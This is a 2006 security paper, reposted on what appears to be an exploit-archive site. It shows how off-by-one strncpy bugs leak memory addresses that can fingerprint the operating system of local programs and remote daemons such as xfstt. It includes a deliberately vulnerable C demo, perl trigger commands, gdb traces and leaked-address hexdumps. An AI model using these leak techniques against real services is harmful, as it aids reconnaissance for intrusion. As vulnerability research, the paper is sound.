Exploit Address Relay Fingerprinting (How to Use Often Discarded Bugs)


18 Дек 2022
Проверка EDB
  1. Пройдено
Тип уязвимости
Дата публикации
PAPER: "Address relay fingerprinting".

AUTHOR: vade79/v9 [email protected] (fakehalo).

HEADER: A small paper about how to use often discarded bugs. 

(sorry if this has been discussed already, found no information on this)

This paper discusses how to use values returned from programs to
create fingerprints.  Most of the information contained in this paper will
relate to off-by-one buffer miscalculations.  While they are very common,
not all are exploitable, and often get dismissed due to that.  As these
bugs may not always yield exploitable conditions, they do tend to relay
information about the machine.

Off-by-one buffer miscalculations, discussed here, occur when a said
program function does not account for the null-byte at the end of the
buffer.  So, when most functions read data from that buffer, it will 
continue reading until a null-byte is read.  In ascii terms, it will
look like this(in memory):

[data 1][null-byte][data 2][null-byte][data 3][null-byte]...

So, when "data 1"'s contents are allowed to overwrite the null-byte, most
functions will continue reading into "data 2".  "data 2" can be a variety
of things, depending on the program/situation.  This includes other
character arrays, numerics, memory addresses, and so on.  But, in most
situations, it will be memory addresses.

As a side note(1); Just because "data 2" is a memory address(real/in use),
does not totally rule out exploitation, for buffer expansion.  Although, 
often can be ruled out of the realm of probability.  Anyways, that 
discussion is for another paper all together.

A common way these bugs can occur, is when calling sizeof(buffer), or a
defined BUFSIZE as the limit to write to the buffer.  Which, in both cases,
does not account for the null-byte. (unless when the buffer is allocated,
adds +1 to BUFSIZE)

The only way these bugs can be useful, is when the information you write
to the buffer gets relayed back at some point, or can trigger the event.
This sounds limiting, but it is a lot more common than it seems.  If you 
commonly audit software, I'm sure you have noticed the volume of this
brand of bug.

Not all functions will allow this problem to occur.  For example, read(),
and strncpy() will allow further reading.  While similarly fgets(),
and snprintf() will not, under the same size limitations.

As a side note(2); The conditions do not have to be limited to that of
off-by-one/null-byte removal.  These bugs can be achieved in a variety of
ways, including relaying unused buffers(before bzero'd/used), relaying
mis-casts, relaying buffer underruns, and so on.

Here is a local example of how these bugs work in action, and can be used
for fingerprinting:

# cat <<EOF>myecho.c
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> int main(int argc,char **argv){
>  char buf[256];
>  memset(buf,0,sizeof(buf));
>  if(argc!=2)
>   printf("syntax: %s <argument>\n",argv[0]);
>  else{
>   /* common off-by-one limit style. */
>   strncpy(buf,argv[1],sizeof(buf));
>   /* echo the buffer back. */
>   printf("%s\n",buf);
>  }
>  exit(0);
> }
# gcc myecho.c -o myecho
# ./myecho test
# ./myecho `perl -e 'print"x"x255'`
# ./myecho `perl -e 'print"x"x256'`
# ./myecho `perl -e 'print"x"x256'`|hexdump
0000000 7878 7878 7878 7878 7878 7878 7878 7878
0000100 9614 0804 96f8 0804 f9c8 bfff e177 4003
--------^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^ ^^^^
0000110 0a02

As you can see, when you write 255 bytes to the buffer, the information
gets relayed back properly.  However, when 256 bytes are written, it relays
some extra junk back.  If you notice the hexdump, there are memory
addresses(linux x86) dumped along with it.  Those addresses being
0x08049614, 0x080496f8, 0xbffff9c8, and 0x4003e177.

If we take "myecho" into gdb(GNU Debugger), and run the same command lines,
we can see exactly what happens:

(gdb) file ./myecho
Reading symbols from ./myecho...done.
(gdb) break strncpy
Breakpoint 1 at 0x80483e8
(gdb) break printf
Breakpoint 2 at 0x80483a8
(gdb) run `perl -e 'print"x"x255'`
Starting program: /root/./myecho `perl -e 'print"x"x255'`
Breakpoint 1 at 0x400a800b: file ../sysdeps/generic/strncpy.c, line 31.
Breakpoint 2 at 0x400815e6: file printf.c, line 32.

Breakpoint 1, strncpy (s1=0xbffff8b0 "",
    s2=0xbffffb41 'x' <repeats 200 times>..., n=256)
    at ../sysdeps/generic/strncpy.c:31
31      ../sysdeps/generic/strncpy.c: No such file or directory.
        in ../sysdeps/generic/strncpy.c
(gdb) cont

Breakpoint 2, printf (format=0x80485ff "%s\n") at printf.c:32
32      printf.c: No such file or directory.
        in printf.c
(gdb) x/c 0xbffff8b0+250
0xbffff9aa:     120 'x'
0xbffff9ab:     120 'x'
0xbffff9ac:     120 'x'
0xbffff9ad:     120 'x'
0xbffff9ae:     120 'x'
0xbffff9af:     0 '\000'
0xbffff9b0:     20 '\024'
(gdb) run `perl -e 'print"x"x256'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/./myecho `perl -e 'print"x"x256'`

Breakpoint 1, strncpy (s1=0xbffff8b0 "",
    s2=0xbffffb40 'x' <repeats 200 times>..., n=256)
    at ../sysdeps/generic/strncpy.c:31
31      ../sysdeps/generic/strncpy.c: No such file or directory.
        in ../sysdeps/generic/strncpy.c
(gdb) cont

Breakpoint 2, printf (format=0x80485ff "%s\n") at printf.c:32
32      printf.c: No such file or directory.
        in printf.c
(gdb) x/c 0xbffff8b0+250
0xbffff9aa:     120 'x'
0xbffff9ab:     120 'x'
0xbffff9ac:     120 'x'
0xbffff9ad:     120 'x'
0xbffff9ae:     120 'x'
0xbffff9af:     120 'x'
0xbffff9b0:     20 '\024'

You might be thinking this is completely useless.  But, remember many
operating systems/architectures use many different memory address values.
Now, you're probably thinking, what does this matter on a local level?  It
could have some minor uses on extremely limited environments, locally.
But, for the most part, is useless locally.

The main idea of this paper is for use on daemons, remotely.  Since it is
a very common coding practice, there is many-a-daemon that this can be
abused by.  Case in point, an example of randomly chosen daemon that
this can be done on is xfstt(X font server/true type):

# telnet localhost 7101
Connected to localhost.localdomain.
Escape character is '^]'.

.@Connection closed by foreign host.
# telnet localhost 7101|hexdump
0000000 7254 6979 676e 3120 3732 302e 302e 312e
0000010 2e2e 0a2e 6f43 6e6e 6365 6574 2064 6f74
0000020 6c20 636f 6c61 6f68 7473 6c2e 636f 6c61
0000030 6f64 616d 6e69 0a2e 7345 6163 6570 6320
0000040 6168 6172 7463 7265 6920 2073 5e27 275d
0000050 0a2e 0000 0002 0000 0000 0000 0000 0004
0000060 0000 0400 0002 0001 0000 4448 0000 0a01
Connection closed by foreign host.
0000070 0001 0004 0000 1f00 401b 82fe 4010
-----------------------^^^^ ^^^^ ^^^^ ^^^^

As you can see, memory addresses get sent back in reply.  0x401b1f00,
and 0x401082fe.  common memory addresses on linux/x86 are 0xbf??????,
0x40??????, and 0x08??????.  For a closer inspection;
0xbf<high value 0x??>????, 0x40<low value 0x??>????, and
0x08<low value 0x??>????.

Now, even if memory is set up the same way on multiple operating systems,
it can be broken down to the distribution level on the same operating
system(ie. linux).  This would be done by making a database of the memory
locations for each distribution/version.  Then, see how the addresses
dumped compare.

And here is where I stop, for now.  One could continue this by making
an address mapping program.  The idea would be to make this program
modular.  So, when an off-by-one/address relay bug(in the manner
described in this paper) is found, make a module for it to compare it to
a defined list of addresses.  Then, display what addresses matched, if
any, for each platform/distribution.

Vade79 -> [email protected] -> fakehalo.

# milw0rm.com [2006-04-08]

Похожие темы